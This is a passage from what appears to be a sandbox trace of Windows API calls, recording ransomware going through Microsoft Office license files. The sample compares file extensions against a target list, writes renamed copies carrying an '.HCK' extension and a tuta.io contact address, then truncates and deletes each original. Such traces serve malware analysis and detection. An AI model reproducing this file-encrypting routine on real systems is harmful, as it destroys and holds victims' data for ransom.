Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0244.710] lstrlenW (lpString=".zip") returned 4 [0244.710] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.710] lstrlenW (lpString=".rar") returned 4 [0244.710] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.710] lstrlenW (lpString=".bz2") returned 4 [0244.710] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.710] lstrlenW (lpString=".7z") returned 3 [0244.711] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0244.711] lstrlenW (lpString=".dbf") returned 4 [0244.711] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0244.711] lstrlenW (lpString=".1cd") returned 4 [0244.711] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0244.711] lstrlenW (lpString=".jpg") returned 4 [0244.711] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0244.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0244.711] lstrlenW (lpString=".doc") returned 4 [0244.711] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.711] lstrlenW (lpString=".docx") returned 5 [0244.711] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.711] lstrlenW (lpString=".pdf") returned 4 [0244.711] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.711] lstrlenW (lpString=".xls") returned 4 [0244.711] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.711] lstrlenW (lpString=".xlsx") returned 5 [0244.711] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.711] lstrlenW (lpString=".ppt") returned 4 [0244.711] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0244.711] lstrlenW (lpString=".zip") returned 4 [0244.711] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.711] lstrlenW (lpString=".rar") returned 4 [0244.711] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.711] lstrlenW (lpString=".bz2") returned 4 [0244.711] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.711] lstrlenW (lpString=".7z") returned 3 [0244.711] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0244.711] lstrlenW (lpString=".dbf") returned 4 [0244.711] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0244.711] lstrlenW (lpString=".1cd") returned 4 [0244.711] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0244.711] lstrlenW (lpString=".jpg") returned 4 [0244.711] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.712] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0244.712] lstrlenW (lpString="O365HomePremR_SubTest2-ppd.xrm-ms") returned 33 [0244.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0244.713] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=23134) returned 1 [0244.713] CloseHandle (hObject=0x56c) returned 1 [0244.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms")) returned 0x220 [0244.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0244.714] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.714] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0244.715] GetLastError () returned 0x0 [0244.715] ReadFile (in: hFile=0x56c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0244.718] WriteFile (in: hFile=0x4d4, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0244.720] ReadFile (in: hFile=0x56c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.720] WriteFile (in: hFile=0x4d4, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x116, lpOverlapped=0x0) returned 1 [0244.720] SetEndOfFile (hFile=0x4d4) returned 1 [0244.720] CloseHandle (hObject=0x4d4) returned 1 [0244.720] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.720] SetEndOfFile (hFile=0x56c) returned 1 [0244.722] CloseHandle (hObject=0x56c) returned 1 [0244.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms")) returned 1 [0244.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0244.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0244.724] lstrlenW (lpString=".doc") returned 4 [0244.724] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.724] lstrlenW (lpString=".docx") returned 5 [0244.724] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.724] lstrlenW (lpString=".pdf") returned 4 [0244.725] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.725] lstrlenW (lpString=".xls") returned 4 [0244.725] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.725] lstrlenW (lpString=".xlsx") returned 5 [0244.725] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.725] lstrlenW (lpString=".ppt") returned 4 [0244.725] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0244.725] lstrlenW (lpString=".zip") returned 4 [0244.725] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.725] lstrlenW (lpString=".rar") returned 4 [0244.725] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.725] lstrlenW (lpString=".bz2") returned 4 [0244.725] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.725] lstrlenW (lpString=".7z") returned 3 [0244.725] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0244.725] lstrlenW (lpString=".dbf") returned 4 [0244.725] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0244.725] lstrlenW (lpString=".1cd") returned 4 [0244.725] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0244.725] lstrlenW (lpString=".jpg") returned 4 [0244.725] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0244.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0244.725] lstrlenW (lpString=".doc") returned 4 [0244.725] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.725] lstrlenW (lpString=".docx") returned 5 [0244.725] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.725] lstrlenW (lpString=".pdf") returned 4 [0244.725] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.725] lstrlenW (lpString=".xls") returned 4 [0244.725] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.725] lstrlenW (lpString=".xlsx") returned 5 [0244.725] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.725] lstrlenW (lpString=".ppt") returned 4 [0244.725] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0244.725] lstrlenW (lpString=".zip") returned 4 [0244.725] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.726] lstrlenW (lpString=".rar") returned 4 [0244.726] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.726] lstrlenW (lpString=".bz2") returned 4 [0244.726] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.726] lstrlenW (lpString=".7z") returned 3 [0244.726] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0244.726] lstrlenW (lpString=".dbf") returned 4 [0244.726] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0244.726] lstrlenW (lpString=".1cd") returned 4 [0244.726] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0244.726] lstrlenW (lpString=".jpg") returned 4 [0244.726] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.726] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0244.726] lstrlenW (lpString="O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 36 [0244.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0244.727] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11630) returned 1 [0244.727] CloseHandle (hObject=0x56c) returned 1 [0244.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms")) returned 0x220 [0244.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0244.728] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.728] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0244.729] GetLastError () returned 0x0 [0244.729] ReadFile (in: hFile=0x56c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0244.731] WriteFile (in: hFile=0x4d4, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0244.906] ReadFile (in: hFile=0x56c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.906] WriteFile (in: hFile=0x4d4, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11c, lpOverlapped=0x0) returned 1 [0244.906] SetEndOfFile (hFile=0x4d4) returned 1 [0244.906] CloseHandle (hObject=0x4d4) returned 1 [0244.906] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.906] SetEndOfFile (hFile=0x56c) returned 1 [0244.908] CloseHandle (hObject=0x56c) returned 1 [0244.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.910] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms")) returned 1 [0244.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0244.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0244.911] lstrlenW (lpString=".doc") returned 4 [0244.911] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.911] lstrlenW (lpString=".docx") returned 5 [0244.911] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.911] lstrlenW (lpString=".pdf") returned 4 [0244.911] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.911] lstrlenW (lpString=".xls") returned 4 [0244.911] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.911] lstrlenW (lpString=".xlsx") returned 5 [0244.911] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.911] lstrlenW (lpString=".ppt") returned 4 [0244.911] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0244.911] lstrlenW (lpString=".zip") returned 4 [0244.911] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.911] lstrlenW (lpString=".rar") returned 4 [0244.911] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.911] lstrlenW (lpString=".bz2") returned 4 [0244.911] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.911] lstrlenW (lpString=".7z") returned 3 [0244.911] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0244.911] lstrlenW (lpString=".dbf") returned 4 [0244.911] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0244.911] lstrlenW (lpString=".1cd") returned 4 [0244.911] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0244.911] lstrlenW (lpString=".jpg") returned 4 [0244.911] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0244.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0244.911] lstrlenW (lpString=".doc") returned 4 [0244.911] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.911] lstrlenW (lpString=".docx") returned 5 [0244.911] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.911] lstrlenW (lpString=".pdf") returned 4 [0244.911] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.911] lstrlenW (lpString=".xls") returned 4 [0244.911] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.911] lstrlenW (lpString=".xlsx") returned 5 [0244.911] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.911] lstrlenW (lpString=".ppt") returned 4 [0244.911] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0244.912] lstrlenW (lpString=".zip") returned 4 [0244.912] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.912] lstrlenW (lpString=".rar") returned 4 [0244.912] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.912] lstrlenW (lpString=".bz2") returned 4 [0244.912] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.912] lstrlenW (lpString=".7z") returned 3 [0244.912] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0244.912] lstrlenW (lpString=".dbf") returned 4 [0244.912] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0244.912] lstrlenW (lpString=".1cd") returned 4 [0244.912] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0244.912] lstrlenW (lpString=".jpg") returned 4 [0244.912] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.912] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0244.912] lstrlenW (lpString="O365HomePremR_SubTest3-pl.xrm-ms") returned 32 [0244.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0244.913] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11179) returned 1 [0244.913] CloseHandle (hObject=0x56c) returned 1 [0244.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms")) returned 0x220 [0244.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0244.913] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.913] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0244.914] GetLastError () returned 0x0 [0244.914] ReadFile (in: hFile=0x56c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2bab, lpOverlapped=0x0) returned 1 [0244.916] WriteFile (in: hFile=0x4d4, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0244.916] ReadFile (in: hFile=0x56c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.916] WriteFile (in: hFile=0x4d4, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x114, lpOverlapped=0x0) returned 1 [0244.917] SetEndOfFile (hFile=0x4d4) returned 1 [0244.917] CloseHandle (hObject=0x4d4) returned 1 [0244.917] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.917] SetEndOfFile (hFile=0x56c) returned 1 [0244.919] CloseHandle (hObject=0x56c) returned 1 [0244.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms")) returned 1 [0244.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0244.920] lstrlenW (lpString="C:\\Program 